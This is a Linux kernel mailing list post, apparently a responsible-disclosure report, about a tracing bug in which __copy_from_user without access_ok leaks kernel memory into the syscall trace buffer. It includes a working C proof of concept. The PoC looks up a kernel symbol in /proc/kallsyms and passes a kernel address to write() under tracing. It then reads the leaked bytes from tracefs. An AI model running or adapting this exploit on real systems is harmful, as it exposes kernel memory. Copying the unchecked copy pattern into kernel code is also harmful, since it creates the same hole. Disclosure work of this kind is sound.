Linux Trace Kernel
 help / color / mirror / Atom feed
* [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing
@ 2026-10-15  7:01 Haoran Wang
  2026-10-15  8:44 ` Greg KH
  0 siblings, 1 reply; 4+ messages in thread
From: Haoran Wang @ 2026-10-15  7:01 UTC (permalink / raw)
  To: rostedt, mhiramat
  Cc: linux-kernel, linux-trace-kernel, mathieu.desnoyers, security,
	haoranwangsec

I'd like to report an issue in kernel/trace/trace_syscalls.c:686 (function
syscall_copy_user_array), found via static analysis of Linux 7.0.11 and
verified against the 7.2.10 source tree. I have reproduced the leak on an
7.2.10 kernel.

1. Summary
The "syscall fault tracing" feature (added in 7.0, CONFIG_FTRACE_SYSCALLS)
treats the raw syscall argument args[1] (the buffer pointer) of faultable
syscalls (write/pwrite64/ mq_timedsend) as a user address and copies it
with __copy_from_user(buf, args[1], size) without an access_ok() check.
When a traced process calls write(fd, <kernel address>, count), the
sys_enter tracepoint fires before vfs_write's access_ok and
__copy_from_user copies up to 165 bytes from that kernel address into the
per-CPU trace buffer, which is appended to the sys_enter_write event and
readable from /sys/kernel/tracing/trace. The write() itself then returns
EFAULT, but the leak is already complete. copy_from_user() would have
rejected a kernel address via access_ok(); __copy_from_user() does not.

2. Vulnerable code
- File: kernel/trace/trace_syscalls.c:686 (Linux 7.0.11; :685 in 7.2.10)
- Function: syscall_copy_user_array
- Misused API: __copy_from_user

```c
/* syscall_copy_user_array() - syscall fault tracing */
__copy_from_user(buf, ptr, size);   /* ptr = args[1] (raw syscall buffer arg), no access_ok() */
```

3. Root cause
__copy_from_user() is the access_ok()-skipping variant of
copy_from_user(). The syscall fault tracing feature marks
write/pwrite64/mq_timedsend as faultable: check_faultable_syscall() sets
user_mask = BIT(1) (the buffer argument) and user_arg_size = 2 (the count
argument). When such a syscall is ftrace-traced, sys_fault_user() takes
the syscall's *raw* argument args[1] (the buffer-pointer register value)
as a user address and, via syscall_copy_user_array(), calls
__copy_from_user(buf, args[1], size) with no access_ok(). Because args[1]
is the raw register value captured at the sys_enter tracepoint (before
vfs_write performs its own access_ok on the buffer), a traced process can
supply a kernel address there; __copy_from_user dereferences it directly
and copies up to SYSCALL_FAULT_USER_MAX (165) bytes of kernel memory into
the per-CPU trace buffer. The content appears in the sys_enter_write trace
event and is readable from /sys/kernel/tracing/trace. The actual write()
then fails with EFAULT (vfs_write's access_ok rejects the kernel address),
but the leak has already happened in the tracepoint.

This differs from the trace.c:6836 site (tracing_mark_write), where the
VFS layer's access_ok (vfs_write at fs/read_write.c:676) guards the buffer
before the ftrace .write handler runs. Here the leak happens at the
sys_enter tracepoint, which fires *before* vfs_write's access_ok, so there
is no upstream guard on args[1].

4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, unfixed -- reproduced on
an 7.2.10 kernel.

5. Trigger / Preconditions
root / CAP_SYS_ADMIN / CAP_PERFMON (needed to enable syscall tracing via
tracefs; on the test machine /proc/sys/kernel/perf_event_paranoid = 2 and
tracefs is root-writable), plus CONFIG_FTRACE_SYSCALLS. The traced process
calls write(fd, <kernel address>, count) while sys_enter_write tracing is
enabled.

6. Proof of Concept
Reproduced on a pristine Linux 7.2.10 kernel
(CONFIG_FTRACE_SYSCALLS=y, config-only). The traced process calls
write(devnull, linux_banner_addr, 200); the sys_enter_write trace event
then contains the leaked linux_banner string.

Concrete reproduced evidence (version 7.2.10):
- The sys_enter_write trace event contains the leaked linux_banner hex
  blob and ASCII string; decoding matches /proc/version.
- Decoded leaked content begins: "Linux version 7.2.10 (root@xxx) (gcc
  (Ubuntu 15.2.0-16ubuntu1) ...", which exactly matches /proc/version on
  the test kernel.
- write() itself returns EFAULT (vfs_write access_ok rejects the kernel
  address), but the kernel-memory copy into the trace buffer has already
  completed in the sys_enter tracepoint.
- KASAN does not catch it (__copy_from_user performs no __asan_loadN on
  the source).

```c
/*
 *
 * Build: gcc -O2 -o poc_syscall_fault_leak poc_syscall_fault_leak.c
 * Run:   sudo ./poc_syscall_fault_leak
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdint.h>

#define TRACEFS "/sys/kernel/tracing"
#define EVT     TRACEFS "/events/syscalls/sys_enter_write"

static int write_file(const char *path, const char *val)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0)
		return -1;
	if (write(fd, val, strlen(val)) < 0) {
		close(fd);
		return -1;
	}
	close(fd);
	return 0;
}

static unsigned long lookup_sym(const char *sym)
{
	FILE *f = fopen("/proc/kallsyms", "r");
	if (!f)
		return 0;
	char line[256], name[128];
	unsigned long a;
	char t;
	while (fgets(line, sizeof(line), f))
		if (sscanf(line, "%lx %c %127s", &a, &t, name) == 3 && a && !strcmp(name, sym)) {
			fclose(f);
			return a;
		}
	fclose(f);
	return 0;
}

static char *read_file(const char *path, char *buf, size_t cap)
{
	int fd = open(path, O_RDONLY);
	if (fd < 0)
		return NULL;
	size_t total = 0;
	ssize_t n;
	while (total < cap - 1 && (n = read(fd, buf + total, cap - 1 - total)) > 0)
		total += n;
	buf[total] = 0;
	close(fd);
	return buf;
}

int main(void)
{
	if (getuid() != 0) {
		fprintf(stderr, "[-] must run as root (tracefs is root-only, perf_event_paranoid=2)\n");
		return 1;
	}

	unsigned long kaddr = lookup_sym("linux_banner");
	if (!kaddr) {
		fprintf(stderr, "[-] cannot resolve linux_banner from /proc/kallsyms\n");
		return 1;
	}
	printf("[+] target: linux_banner @ 0x%lx\n", kaddr);
	printf("[+]   (kernel string: \"Linux version 7.x (root@...) ...\")\n");
	printf("[+] vuln site: trace_syscalls.c:686 syscall_copy_user_array -> __copy_from_user (no access_ok)\n\n");

	int devnull = open("/dev/null", O_WRONLY);
	if (devnull < 0) {
		perror("open /dev/null");
		return 1;
	}

	if (access(EVT "/enable", W_OK) != 0) {
		fprintf(stderr, "[-] %s/enable not writable (%s)\n", EVT, strerror(errno));
		fprintf(stderr, "    -> CONFIG_FTRACE_SYSCALLS off, or tracefs not mounted\n");
		return 1;
	}

	write_file(TRACEFS "/trace", "\n");

	int pipefd[2];
	if (pipe(pipefd) < 0) {
		perror("pipe");
		return 1;
	}

	pid_t child = fork();
	if (child < 0) {
		perror("fork");
		return 1;
	}
	if (child == 0) {
		close(pipefd[1]);
		char c;
		read(pipefd[0], &c, 1);	/* wait until parent finished enabling */
		close(pipefd[0]);
		/*
		 * THE TRIGGER: write(fd, KERNEL_ADDR, 200).
		 * The buf argument is a kernel address. The sys_enter tracepoint
		 * fires before vfs_write's access_ok, and __copy_from_user copies
		 * directly from that kernel address -> kernel memory enters the trace.
		 * write() then returns EFAULT, but the leak is already complete.
		 */
		syscall(__NR_write, devnull, (void *)kaddr, 200);
		_exit(0);
	}
	close(pipefd[0]);

	char filter[64];
	snprintf(filter, sizeof(filter), "common_pid == %d", child);
	if (write_file(EVT "/filter", filter) < 0)
		fprintf(stderr, "[!] set filter failed: %s\n", strerror(errno));

	if (write_file(EVT "/enable", "1") < 0)
		fprintf(stderr, "[!] enable event failed: %s\n", strerror(errno));

	write(pipefd[1], "x", 1);
	close(pipefd[1]);
	waitpid(child, NULL, 0);

	write_file(EVT "/enable", "0");
	write_file(EVT "/filter", "0");

	char buf[65536];
	if (!read_file(TRACEFS "/trace", buf, sizeof(buf))) {
		fprintf(stderr, "[-] cannot read trace\n");
		return 1;
	}

	char *line = strstr(buf, "write(fd:");
	if (!line) {
		printf("[-] no sys_enter_write event captured.\n");
		printf("--- trace dump ---\n%s\n", buf);
		return 1;
	}
	char *eol = strchr(line, '\n');
	if (eol)
		*eol = 0;

	printf("[+] captured sys_enter_write event:\n    %s\n\n", line);

	if (strstr(line, "Linux version")) {
		printf("[!] ============================================================\n");
		printf("[!] KERNEL MEMORY LEAK CONFIRMED at trace_syscalls.c:686\n");
		printf("[!] trace event contains the kernel banner string,\n");
		printf("[!] read from 0x%lx via __copy_from_user() WITHOUT access_ok()\n", kaddr);
		printf("[!] ============================================================\n");
		return 0;
	}

	char *q1 = strchr(line, '"');
	if (q1) {
		char *q2 = strrchr(line, '"');
		if (q2 > q1) {
			printf("[!] leaked ASCII segment: \"%.*s\"\n", (int)(q2 - q1 - 1), q1 + 1);
			if (strstr(q1, "Linux") || strstr(q1, "version")) {
				printf("[!] KERNEL MEMORY LEAK CONFIRMED\n");
				return 0;
			}
		}
	}
	printf("[?] no recognizable kernel string - inspect the hex blob in the event line above.\n");
	return 2;
}
```

7. Impact
Kernel memory information leak: up to 165 bytes per faultable-syscall
invocation via __copy_from_user() with no access_ok(), readable from
/sys/kernel/tracing/trace. 

Please let me know if you need more detail.

Best regards,
Haoran Wang <haoranwangsec@gmail.com>

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-10-15 13:42 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-15  7:01 [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing Haoran Wang
2026-10-15  8:44 ` Greg KH
2026-10-15 12:05   ` Wang Haoran
2026-10-15 13:42     ` Steven Rostedt

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox